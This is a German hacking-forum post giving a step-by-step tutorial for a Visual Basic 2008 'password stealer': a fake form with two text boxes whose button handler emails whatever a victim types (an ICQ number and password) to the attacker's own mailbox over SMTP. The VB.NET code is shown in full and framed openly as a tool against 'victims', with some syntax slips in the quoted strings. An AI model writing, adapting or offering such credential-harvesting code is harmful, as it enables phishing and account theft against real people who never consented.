Ergebnis 1 bis 5 von 5

Baum-Darstellung

  1. #1
    Anfänger
    Registriert seit
    19.01.2010
    Beiträge
    10

    Standard [How to make] Visual Basic 2008 Stealer

    Hallo liebe Free - Hack Community.

    In diesem Thread möchte ich euch gerne zeigen wie ihr einen
    Passwort Stealer in Visual Basic 2008 machen könnt. Der Stealer
    werden wir so machen, das ihr eine E-Mail geschickt bekommt
    mit den Daten die euer Opfer in die beiden Textboxen eingegeben hat.
    Was ihr braucht:

    1x Button
    2x TextBox
    2x Label´s

    ----------------------------------------------------------------------------
    Schritt 1 - Vorbereitung
    --------------------------------------------------------------------------

    Ihr erstellt eine neue Form. Dafür braucht ihr denke ich mal
    keinen Screen oder eine Beschreibung xD. Danach zieht
    ihr den Button + Labels & die 2 TextBoxen in die Form und legt
    sie euch zu Recht wie es euch gefällt.
    Ihr beschriftet den Button und die Labels um.
    Macht alles so bis es euch gefällt. Und dann gehts auch schon
    zum Coding.

    ----------------------------------------------------------------------------
    Schritt 2 - Das Coding
    --------------------------------------------------------------------------

    Ihr macht einfach einen Doppelklick auf den Button und Importiert erstmals
    2 Dinge die ihr über "Public Class Form1" eingebt:

    Imports System.Net.Mail
    Imports System.Net

    Dann weiter unten unter "Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click"

    Gebt ihr Folgendes ein:
    ( bei "text = "ICQ nr:" etc. Soll das stehen was in der E-Mail stehen soll. Wenn
    da zB steht "E-Mail: " dann wird in der Mail die ihr bekommt erst "E-Mail" stehen,
    bevor das da steht was man in der Textbox1 eingibt. )

    Hoffe das war verständlich xD wenn nicht Fragt nochmal nach

    Code:
           Dim text As String
            text = "ICQ Nr: " & TextBox1.Text & " PW: " & TextBox2.Text + vbLf
            If TextBox1.Text = "" And TextBox2.Text = "" Then
                MsgBox("Der text der erscheinen soll, sobald man auf den Button drückt, aber nichts in der Textbox steht.", MsgBoxStyle.Critical)
            Else
                Dim myClient As New Net.Mail.SmtpClient(smtp zb "smtp.web/gmx etc..de")
                myClient.Credentials = New NetworkCredential("Eure E-Mail", "Euer PW")
                myClient.Send("Von wehm die E-Mail ist", Eure E-Mail, Eure E-Mail", "der betreff der E-Mail", text)
            End If
    Ich hab den Code ein bisschen umgeschrieben damit er ( wenn ihr ihn versteht )
    besser verstehen könnt.
    Jetzt könnt ihr ihn testen.
    Schreibt was in die textboxen, Checkt eure E-Mail´s & Freut euch xD

    Ich hoffe der Code und meine Erklärung waren einigermarßen
    Verständlich. Falls jemand Fragen haben sollte zum Code
    oder sonstigem, möge er es bitte sagen xD

    MfG ~S3KT0R

  2. Folgende Benutzer haben sich für diesen Beitrag bedankt:

    DarkFire (17.02.2010), Slawa (17.02.2010)

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •